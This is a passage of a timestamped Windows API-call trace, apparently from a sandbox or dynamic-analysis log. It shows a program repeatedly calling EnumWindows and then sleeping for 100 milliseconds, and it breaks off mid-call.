[0164.178] Sleep (dwMilliseconds=0x64) [0164.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.180] Sleep (dwMilliseconds=0x64) [0164.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.182] Sleep (dwMilliseconds=0x64) [0164.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.185] Sleep (dwMilliseconds=0x64) [0164.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.186] Sleep (dwMilliseconds=0x64) [0164.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.188] Sleep (dwMilliseconds=0x64) [0164.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.189] Sleep (dwMilliseconds=0x64) [0164.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.202] Sleep (dwMilliseconds=0x64) [0164.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.203] Sleep (dwMilliseconds=0x64) [0164.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.206] Sleep (dwMilliseconds=0x64) [0164.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.208] Sleep (dwMilliseconds=0x64) [0164.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.209] Sleep (dwMilliseconds=0x64) [0164.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.211] Sleep (dwMilliseconds=0x64) [0164.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.214] Sleep (dwMilliseconds=0x64) [0164.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.216] Sleep (dwMilliseconds=0x64) [0164.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.219] Sleep (dwMilliseconds=0x64) [0164.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.281] Sleep (dwMilliseconds=0x64) [0164.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.294] Sleep (dwMilliseconds=0x64) [0164.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.297] Sleep (dwMilliseconds=0x64) [0164.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.299] Sleep (dwMilliseconds=0x64) [0164.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.300] Sleep (dwMilliseconds=0x64) [0164.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.302] Sleep (dwMilliseconds=0x64) [0164.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.304] Sleep (dwMilliseconds=0x64) [0164.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.306] Sleep (dwMilliseconds=0x64) [0164.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.307] Sleep (dwMilliseconds=0x64) [0164.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.309] Sleep (dwMilliseconds=0x64) [0164.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.311] Sleep (dwMilliseconds=0x64) [0164.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.313] Sleep (dwMilliseconds=0x64) [0164.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.315] Sleep (dwMilliseconds=0x64) [0164.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.317] Sleep (dwMilliseconds=0x64) [0164.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.319] Sleep (dwMilliseconds=0x64) [0164.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.322] Sleep (dwMilliseconds=0x64) [0164.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.324] Sleep (dwMilliseconds=0x64) [0164.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.452] Sleep (dwMilliseconds=0x64) [0164.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.454] Sleep (dwMilliseconds=0x64) [0164.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.522] Sleep (dwMilliseconds=0x64) [0164.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.524] Sleep (dwMilliseconds=0x64) [0164.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.526] Sleep (dwMilliseconds=0x64) [0164.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.528] Sleep (dwMilliseconds=0x64) [0164.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.530] Sleep (dwMilliseconds=0x64) [0164.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.532] Sleep (dwMilliseconds=0x64) [0164.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.534] Sleep (dwMilliseconds=0x64) [0164.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.535] Sleep (dwMilliseconds=0x64) [0164.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.537] Sleep (dwMilliseconds=0x64) [0164.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.541] Sleep (dwMilliseconds=0x64) [0164.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.542] Sleep (dwMilliseconds=0x64) [0164.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.544] Sleep (dwMilliseconds=0x64) [0164.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.545] Sleep (dwMilliseconds=0x64) [0164.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.547] Sleep (dwMilliseconds=0x64) [0164.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.548] Sleep (dwMilliseconds=0x64) [0164.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.550] Sleep (dwMilliseconds=0x64) [0164.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.551] Sleep (dwMilliseconds=0x64) [0164.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.584] Sleep (dwMilliseconds=0x64) [0164.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.585] Sleep (dwMilliseconds=0x64) [0164.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.587] Sleep (dwMilliseconds=0x64) [0164.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.589] Sleep (dwMilliseconds=0x64) [0164.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.590] Sleep (dwMilliseconds=0x64) [0164.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.592] Sleep (dwMilliseconds=0x64) [0164.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.593] Sleep (dwMilliseconds=0x64) [0164.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.597] Sleep (dwMilliseconds=0x64) [0164.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.619] Sleep (dwMilliseconds=0x64) [0164.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.691] Sleep (dwMilliseconds=0x64) [0164.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.725] Sleep (dwMilliseconds=0x64) [0164.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.727] Sleep (dwMilliseconds=0x64) [0164.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.729] Sleep (dwMilliseconds=0x64) [0164.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.731] Sleep (dwMilliseconds=0x64) [0164.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.733] Sleep (dwMilliseconds=0x64) [0164.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.740] Sleep (dwMilliseconds=0x64) [0164.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.743] Sleep (dwMilliseconds=0x64) [0164.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.746] Sleep (dwMilliseconds=0x64) [0164.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.748] Sleep (dwMilliseconds=0x64) [0164.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.750] Sleep (dwMilliseconds=0x64) [0164.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.752] Sleep (dwMilliseconds=0x64) [0164.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.754] Sleep (dwMilliseconds=0x64) [0164.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.757] Sleep (dwMilliseconds=0x64) [0164.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.758] Sleep (dwMilliseconds=0x64) [0164.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.760] Sleep (dwMilliseconds=0x64) [0164.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.762] Sleep (dwMilliseconds=0x64) [0164.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.765] Sleep (dwMilliseconds=0x64) [0164.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.766] Sleep (dwMilliseconds=0x64) [0164.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.768] Sleep (dwMilliseconds=0x64) [0164.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.770] Sleep (dwMilliseconds=0x64) [0164.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.771] Sleep (dwMilliseconds=0x64) [0164.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.773] Sleep (dwMilliseconds=0x64) [0164.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.776] Sleep (dwMilliseconds=0x64) [0164.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.779] Sleep (dwMilliseconds=0x64) [0164.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.780] Sleep (dwMilliseconds=0x64) [0164.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.782] Sleep (dwMilliseconds=0x64) [0164.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.783] Sleep (dwMilliseconds=0x64) [0164.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.787] Sleep (dwMilliseconds=0x64) [0164.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.789] Sleep (dwMilliseconds=0x64) [0164.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.832] Sleep (dwMilliseconds=0x64) [0164.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.833] Sleep (dwMilliseconds=0x64) [0164.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.835] Sleep (dwMilliseconds=0x64) [0164.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.837] Sleep (dwMilliseconds=0x64) [0164.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.838] Sleep (dwMilliseconds=0x64) [0164.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.840] Sleep (dwMilliseconds=0x64) [0164.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.843] Sleep (dwMilliseconds=0x64) [0164.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.845] Sleep (dwMilliseconds=0x64) [0164.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.847] Sleep (dwMilliseconds=0x64) [0164.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.849] Sleep (dwMilliseconds=0x64) [0164.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.850] Sleep (dwMilliseconds=0x64) [0164.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.852] Sleep (dwMilliseconds=0x64) [0164.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.855] Sleep (dwMilliseconds=0x64) [0164.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.857] Sleep (dwMilliseconds=0x64) [0164.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.859] Sleep (dwMilliseconds=0x64) [0164.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.860] Sleep (dwMilliseconds=0x64) [0164.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.906] Sleep (dwMilliseconds=0x64) [0164.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.908] Sleep (dwMilliseconds=0x64) [0164.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.909] Sleep (dwMilliseconds=0x64) [0164.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.911] Sleep (dwMilliseconds=0x64) [0164.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.912] Sleep (dwMilliseconds=0x64) [0164.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.914] Sleep (dwMilliseconds=0x64) [0164.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.915] Sleep (dwMilliseconds=0x64) [0164.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.917] Sleep (dwMilliseconds=0x64) [0164.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.921] Sleep (dwMilliseconds=0x64) [0164.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.923] Sleep (dwMilliseconds=0x64) [0164.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.925] Sleep (dwMilliseconds=0x64) [0164.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.926] Sleep (dwMilliseconds=0x64) [0164.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.928] Sleep (dwMilliseconds=0x64) [0164.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.930] Sleep (dwMilliseconds=0x64) [0164.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.932] Sleep (dwMilliseconds=0x64) [0164.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.933] Sleep (dwMilliseconds=0x64) [0164.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.935] Sleep (dwMilliseconds=0x64) [0164.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.937] Sleep (dwMilliseconds=0x64) [0164.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.939] Sleep (dwMilliseconds=0x64) [0164.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.940] Sleep (dwMilliseconds=0x64) [0164.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.943] Sleep (dwMilliseconds=0x64) [0164.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.945] Sleep (dwMilliseconds=0x64) [0164.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.947] Sleep (dwMilliseconds=0x64) [0164.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.950] Sleep (dwMilliseconds=0x64) [0165.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.032] Sleep (dwMilliseconds=0x64) [0165.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.092] Sleep (dwMilliseconds=0x64) [0165.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.191] Sleep (dwMilliseconds=0x64) [0165.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.241] Sleep (dwMilliseconds=0x64) [0165.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.282] Sleep (dwMilliseconds=0x64) [0165.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.284] Sleep (dwMilliseconds=0x64) [0165.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.286] Sleep (dwMilliseconds=0x64) [0165.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.288] Sleep (dwMilliseconds=0x64) [0165.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.289] Sleep (dwMilliseconds=0x64) [0165.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.291] Sleep (dwMilliseconds=0x64) [0165.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.293] Sleep (dwMilliseconds=0x64) [0165.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.294] Sleep (dwMilliseconds=0x64) [0165.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.296] Sleep (dwMilliseconds=0x64) [0165.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.299] Sleep (dwMilliseconds=0x64) [0165.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.301] Sleep (dwMilliseconds=0x64) [0165.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.303] Sleep (dwMilliseconds=0x64) [0165.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.306] Sleep (dwMilliseconds=0x64) [0165.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.307] Sleep (dwMilliseconds=0x64) [0165.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.309] Sleep (dwMilliseconds=0x64) [0165.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.311] Sleep (dwMilliseconds=0x64) [0165.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.313] Sleep (dwMilliseconds=0x64) [0165.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.315] Sleep (dwMilliseconds=0x64) [0165.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.316] Sleep (dwMilliseconds=0x64) [0165.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.318] Sleep (dwMilliseconds=0x64) [0165.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.319] Sleep (dwMilliseconds=0x64) [0165.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.322] Sleep (dwMilliseconds=0x64) [0165.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.324] Sleep (dwMilliseconds=0x64) [0165.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.326] Sleep (dwMilliseconds=0x64) [0165.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.328] Sleep (dwMilliseconds=0x64) [0165.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.330] Sleep (dwMilliseconds=0x64) [0165.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.337] Sleep (dwMilliseconds=0x64) [0165.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.340] Sleep (dwMilliseconds=0x64) [0165.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.400] Sleep (dwMilliseconds=0x64) [0165.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.402] Sleep (dwMilliseconds=0x64) [0165.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.404] Sleep (dwMilliseconds=0x64) [0165.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.406] Sleep (dwMilliseconds=0x64) [0165.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.408] Sleep (dwMilliseconds=0x64) [0165.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.410] Sleep (dwMilliseconds=0x64) [0165.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.412] Sleep (dwMilliseconds=0x64) [0165.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.414] Sleep (dwMilliseconds=0x64) [0165.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.415] Sleep (dwMilliseconds=0x64) [0165.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.417] Sleep (dwMilliseconds=0x64) [0165.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.419] Sleep (dwMilliseconds=0x64) [0165.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.421] Sleep (dwMilliseconds=0x64) [0165.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.424] Sleep (dwMilliseconds=0x64) [0165.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.426] Sleep (dwMilliseconds=0x64) [0165.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.427] Sleep (dwMilliseconds=0x64) [0165.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.429] Sleep (dwMilliseconds=0x64) [0165.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.464] Sleep (dwMilliseconds=0x64) [0165.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.466] Sleep (dwMilliseconds=0x64) [0165.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.468] Sleep (dwMilliseconds=0x64) [0165.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.471] Sleep (dwMilliseconds=0x64) [0165.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.474] Sleep (dwMilliseconds=0x64) [0165.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.475] Sleep (dwMilliseconds=0x64) [0165.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.477] Sleep (dwMilliseconds=0x64) [0165.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.479] Sleep (dwMilliseconds=0x64) [0165.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.481] Sleep (dwMilliseconds=0x64) [0165.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.483] Sleep (dwMilliseconds=0x64) [0165.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.486] Sleep (dwMilliseconds=0x64) [0165.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.489] Sleep (dwMilliseconds=0x64) [0165.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.491] Sleep (dwMilliseconds=0x64) [0165.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.493] Sleep (dwMilliseconds=0x64) [0165.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.494] Sleep (dwMilliseconds=0x64) [0165.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.496] Sleep (dwMilliseconds=0x64) [0165.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.498] Sleep (dwMilliseconds=0x64) [0165.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.500] Sleep (dwMilliseconds=0x64) [0165.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.502] Sleep (dwMilliseconds=0x64) [0165.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.505] Sleep (dwMilliseconds=0x64) [0165.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.584] Sleep (dwMilliseconds=0x64) [0165.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.650] Sleep (dwMilliseconds=0x64) [0165.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.684] Sleep (dwMilliseconds=0x64) [0165.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.707] Sleep (dwMilliseconds=0x64) [0165.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.709] Sleep (dwMilliseconds=0x64) [0165.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.711] Sleep (dwMilliseconds=0x64) [0165.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.742] Sleep (dwMilliseconds=0x64) [0165.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.744] Sleep (dwMilliseconds=0x64) [0165.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.747] Sleep (dwMilliseconds=0x64) [0165.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.749] Sleep (dwMilliseconds=0x64) [0165.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.751] Sleep (dwMilliseconds=0x64) [0165.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.752] Sleep (dwMilliseconds=0x64) [0165.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.754] Sleep (dwMilliseconds=0x64) [0165.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.757] Sleep (dwMilliseconds=0x64) [0165.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.759] Sleep (dwMilliseconds=0x64) [0165.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.760] Sleep (dwMilliseconds=0x64) [0165.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.762] Sleep (dwMilliseconds=0x64) [0165.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.763] Sleep (dwMilliseconds=0x64) [0165.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.778] Sleep (dwMilliseconds=0x64) [0165.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.783] Sleep (dwMilliseconds=0x64) [0165.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.784] Sleep (dwMilliseconds=0x64) [0165.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.786] Sleep (dwMilliseconds=0x64) [0165.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.787] Sleep (dwMilliseconds=0x64) [0165.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.789] Sleep (dwMilliseconds=0x64) [0165.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.790] Sleep (dwMilliseconds=0x64) [0165.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.792] Sleep (dwMilliseconds=0x64) [0165.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.793] Sleep (dwMilliseconds=0x64) [0165.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.795] Sleep (dwMilliseconds=0x64) [0165.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.797] Sleep (dwMilliseconds=0x64) [0165.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.799] Sleep (dwMilliseconds=0x64) [0165.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.800] Sleep (dwMilliseconds=0x64) [0165.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.802] Sleep (dwMilliseconds=0x64) [0165.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.806] Sleep (dwMilliseconds=0x64) [0165.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.904] Sleep (dwMilliseconds=0x64) [0165.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.906] Sleep (dwMilliseconds=0x64) [0165.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.908] Sleep (dwMilliseconds=0x64) [0165.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.910] Sleep (dwMilliseconds=0x64) [0165.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.912] Sleep (dwMilliseconds=0x64) [0165.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.913] Sleep (dwMilliseconds=0x64) [0165.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.915] Sleep (dwMilliseconds=0x64) [0165.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.917] Sleep (dwMilliseconds=0x64) [0165.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.918] Sleep (dwMilliseconds=0x64) [0165.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.920] Sleep (dwMilliseconds=0x64) [0165.921] EnumWindows (lpEnumFunc=0x423dd0, 